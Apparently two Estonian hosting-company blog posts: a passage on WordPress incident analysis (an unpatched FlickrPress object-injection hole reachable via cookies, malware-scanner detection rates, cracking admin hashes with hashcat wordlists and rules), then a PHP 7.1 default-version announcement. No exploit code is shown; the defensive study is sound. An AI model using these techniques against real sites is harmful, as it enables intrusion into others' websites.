See võimaldab PHP Object Injection ehk PHP objektisüsti haavatavuse ärakasutamist. Mugava proof-of-concept koodi – sest objektisüst eeldab ärakasutamiseks sobiliku objekti olemasolu – leiab Plugin Vulnerabilities blogipostitusest. Proovime järgi:

Tähelepanelik vaatleja kindlasti märkab, et ma olen teinud täiesti suvalise alamlehe pihta GET-päringu andes pluginas oleva turva-augu aktiveerimiseks vajalikud parameetrid kaasa küpsisena. See plugin loeb parameetreid $_REQUEST globaalmuutujast – mis ei ole hea praktika – ning sinna jooksevad seadistusest (variables_order ja request_order) sõltuvalt kokku $_GET ja $_POST parameetrid… ning $_COOKIE.

Ääremärkus: ajaloolistel põhjustel on ka meil Zones vaikimisi variables_order väärtuseks ‘EGPCS’. Kui me selle tihedamaks keeraks… läheks kellelgi midagi katki. Ilmselt peaks lisama võimaluse seda seadistada. Seniks võib phpini/global/php.ini faili panna lisaks ülalviidatud vigade väljastamise keelule ka rea request_order = 'GP'

Kuivõrd video tegemise seisuga polnud seda pluginat kirjas levinud haavatavuse-baasides ega fixitud, siis võib seda ilmselt zero-day’ks nimetada.

Autor sai vastutustundlikult teavitatud, oli juba enne teadlik … ja võttis selle tulemusel plugina (“Viimati uuendatud: 8 aastat tagasi”) ametlikust kataloogist üldse maha.

Ehk kõik, kellel see plugin kasutusel, on edaspidi endiselt haavatavad ja neil puudub ka adekvaatne viis ohust teada saada. Äärmiselt sobilik näide illustreerimaks “uuendamine ei pruugi olla lahendus” väidet.

Ääremärkus – raporteerides FlickrPress’i saatsin kordusteate ka ühe teise plugina turvaprobleemi kohta, mille vastu suunatud ründe avastasin juba pool aastat tagasi. Ma puhtalt huvi pärast ootan, et kaua läheb fiksimisega.

Pahavara tuvastamise tõenäosus

Kui me juba müütideni jõudsime, siis lammutaks ära veel ühe – “veebiserverist on võimalik asjakohase tööriistaga leida üles pahavara sisaldavad failid ning need siis ära kustutada või puhastada”. Veidi muudetud väide on samas tõene: “On võimalik leida pahavara sisaldavaid faile, kui neid on piisavalt palju ja need vastavad levinud mustritele.”

Leitava pahavara protsent sõltub tööriista võimekusest ja häälestuse tundlikkusest. Mina võtsin ette Zone+ all pakutava Nimbusec’i, Revisium’i tasuta tööriista AI-bolit tavalises ja “paranoia”-reziimis ning WP pluginad Quttera ja GotMLS. Kontrolliks võtsin testi ka Nod32 ja DrWeb antiviirused, aga nende tulemus on allpool igasugust arvestust (ning ClamAV leidis veel 2x vähem).

Teades kõiki muudetud faile (52 olulist näidet) oli lihtne teha andmebaasi-rakendus, kuhu saan lugeda sisse tuvastuste raporti ning tulemused tabelina kuvada:

Valepositiivsete protsent on arvestatud leidude suhtes, sest nii tundus loogilisem. Kasutaja jaoks annab “leitud 10 reaalset ohtu ja 5 valepositiivset” põhjal rehkendatud 50% ilmselt rohkem infot, kui protsent kõigist WP all olevatest failidest.

Järjekordselt oleme rahul oma valitud Nimbusec’iga – tuvastus on piisavalt hea tagamaks toimimise suitsuandurina ehk andmaks märku veebi tabanud probleemist, samas ei tekita tavakasutajas liigselt paanikat valepositiivsetega.

Aga isegi kõige paranoilisem AI-bolit skooris vaid 90% probleemsetest failidest – ehk maha tuleks matta (ja raske kiviga katta) lootus, et mingi skänni abil saab veebi puhtaks. Ainus lahendus on kõik mis võimalik ära asendada. Ja ülejäänu käsitsi üle käia või minema visata.

Ja lõpuks – kuidas siis ikkagi sisse saadi?

Viimase kahe näidispakki lisatud veebi puhul tundus mulle kahtlane, et probleemiks oli mõni plugin, pigem oli tuldud sisse admin-kasutajana ja faile muutes endale laiem ligipääs rajatud.

Hüpoteesi kontrolliks otsustasin “Paha Panda” meetodit ehk nõrkade paroolide äramõistatamist kasutada. Võtsin ette hashcat’i ning tekitasin sõnastiku enamlevinud paroolidest, uuritavates saitides olnud kasutajanimedest ja lisasin reegli, mis proovib esimest tähte suureks teha ja lõppu numbrit lisada.

Tulemuseks – mu läpakas ei jõudnud veel ventilaatorit käima panna, kui hashcat juba räsidele vastavad paroolid välja sülitas:

Esimene neist on täpselt reaalse saidi kasutajanimi ja parooliräsi (sedapalju siis soovitusest, et admin kasutaja asemel mõne teise nime kasutamine turvalisust tõstab – kasutajanimede kokkulugemine pole tead-mis keeruline), aga teise puhul on parool ohvri isiku kaitseks ära muudetud.

Pihtas-põhjas, nett on hukas…

ps. kui lugesid alustuseks teksti läbi – tubli! – siis ära unusta lisaks ka videot vaadata 🙂

PHP 7.1 Apache moodulis – ja serverites vaikeversioonina

Kätte on jõudnud aeg teha korraline PHP vaikeversiooni uuendamine, sest 1. juunil 2017 saab täis 6 kuud PHP 7.1 reliisist. Muudatus puudutab peamiselt uusi tellitavaid Virtuaalservereid ja neid, kes on valinud PHP režiimiks Apache mooduli ehk SAPI (kogu meie serveripargi peale on neid alla 200) – aga ka neid, kes käsurealt, cron’is või skriptis kasutavad vaikeversiooni.

Kuna erinevused PHP 7.0 ja 7.1 vahel ei ole suured (vt Migrating from PHP 7.0.x to PHP 7.1.x) siis eeldame, et üleminek läheb veel sujuvamalt kui mullune 5.6 -> 7.0 vahetus.

Aga olgu siinkohal ära toodud ka kõik muutused – ning võimalused vajadusel vanemat versiooni pruukida.

Uutel Virtuaalserveritel vaikimisi PHP FastCGI 7.1

Iganenud versioonidele toe pakkumine on meie jaoks tõsine väljakutse – seega on oluline saada vähemalt uued kasutajad võimalikult värskele versioonile.

See võib olla probleemiks vaid väga eakate ent endiselt uute saitide tegemisel kasutusel olevate rakenduste nt Magento 1.9.x paigaldamisel – aga ka nende puhul soovitame kasutada saadaolevaid tööriistu ja kulutada veidi aega üleminekuks PHP 7 peale, sest viimase 5.x PHP versiooni ehk 5.6 tugi lõppes 19.01.2017 (kriitilised turvapaigad kuni 2018 lõpuni – vt Supported versions).

SAPI ehk Apache Module režiimis PHP

Vaikimisi on Virtuaalserveri (või selle alamdomeeni) seadetes kasutusel FastCGI režiim mis võimaldab kasutajatel ise versiooni valida – kui aga oled selle muutnud Apache Module’iks, vahetub selle versioon 1. juunil 7.1’ks.

Ühilduvusprobleemide ilmnemisel on võimalik minna sobiliku versiooni FastCGI peale – aga arvestada tuleks erinevate failiõigustega. Kõik Apache mooduli poolt lisatud pildid, cache jms on mõistagi loodud veebiserveri kasutaja õigustes ja neile ei pruugi kirjutamisõigustes ligi pääseda ei FastCGI režiimis kood ega kasutaja FTPga. Õiguste muutmist saab vajadusel adminnidelt küsida kirjutades info@zone.ee

Shellis vaikimis käivitatav PHP

Käsuga which php on näha, et käivitatakse /opt/zone/bin/php mis sümbollingib edasi vaikeversioonile, edaspidi on selleks php71-cli. Soovides mingil põhjusel käivitada varasemat versiooni saab seda teha nt /opt/zone/bin/php70-cli abil.

/usr/bin/env php kasutavad skriptid

Levinud viis käivitada skript kasutaja keskkonna-muutujate kontekstis on /usr/bin/env php – näiteks hakkab Composer pihta nii:

Sisuliselt ei tee see muud, kui käivitab esimese rajas (path’is) ettejuhtuva PHP… milleks edaspidi on 7.1. Composer on selle üle kindlasti rõõmus.

Aga sama meetodit kasutab ka … näiteks ametlikult ilma 7.1 toeta Magento 2.0.x käsurea-utiliit bin/magento, mille abil on realiseeritud muuhulgas cron-tööde jooksutamine… miska soovitaks soojalt kaaluda uuendamist Magento 2.1.x peale. Või olla muutusest teadlik, juhul kui peaks mingeid anomaaliaid ilmnema.

Äärmärkus, lisatud 02.06: ilmneb, et ka Magneto 2.1 ei toeta PHP 7.1 – küll aga on devdoc’is olnud vigane väide nagu toetaks. Tx Sander Vallaots selle probleemi otsa komistamast, vigadega maadelmast ja teavitamast. Lahenduseks on alltoodud “ln -s …”.

Kui aga hädasti on vaja vanemat versiooni püsikasutada – siis kuna rajas on esikohal kasutaja kodukataloogi ~/bin  (/data0x/virtxxxxx/bin) saab igaüks sinna tekitada endale sobiliku sümbollingi, näiteks versioonile 5.6:

ln -s /opt/zone/bin/php56-cli ~/bin/php

Kontrollimiseks võib korraks shellist välja-ja-sisse logida nign teha php -v veendumaks, et nüüd käivitud 7.0.15 (või uuem).

Aga see kohandus tasuks endale keemilise pliiatsiga otsaette kirjutada, sest muidu mõtleb tuleviku-mina ennast kringliks. Või siis meie klienditugi.

Cron-töödes käivitatav PHP

Seadistades veebiliidesest süsteemse cron’i saab kasutada muutujaid:

[[$PHP]] viitab jällegi serveri vaike-versioonile, aga vajadusel võib määrata endale sobiva, nt [[$PHP56]].

Paraku ei ole sellest abi, kui PHP käivitamine toimub läbi shelliskripti – minul on kombeks nii teha WordPressi uuendusi WP-CLI abil, aga ka Magento 1.9.x puhul (jälle see Magento!) on rangelt soovituslik viis käivitada mitte cron.php vaid cron.sh – mis siis käivitab 2 cron.php’d *.

Selles olukorras versiooni jõustamiseks saab abi samast sümbollingi nipist mis ülevalpool juba kirjeldatud – tõsi, tuleb tunnistada, et ~/bin ei olnud meil kuni eilseni cron’i puhul kasutatavas rajas, nüüd aga on (ja cron-tööd käivituvad nüüd ~/tmp all, tagamaks nende > väljundi sattumise kohta, kus kasutajal on kirjutamisõigus).

* “Aga mis juhtub siis, kui käivitada cron.php?” – “Siis, mu noor sõber, tõmmatakse shell_exec() abil käimacron.sh ja see käivitab 2 cron.php’d.”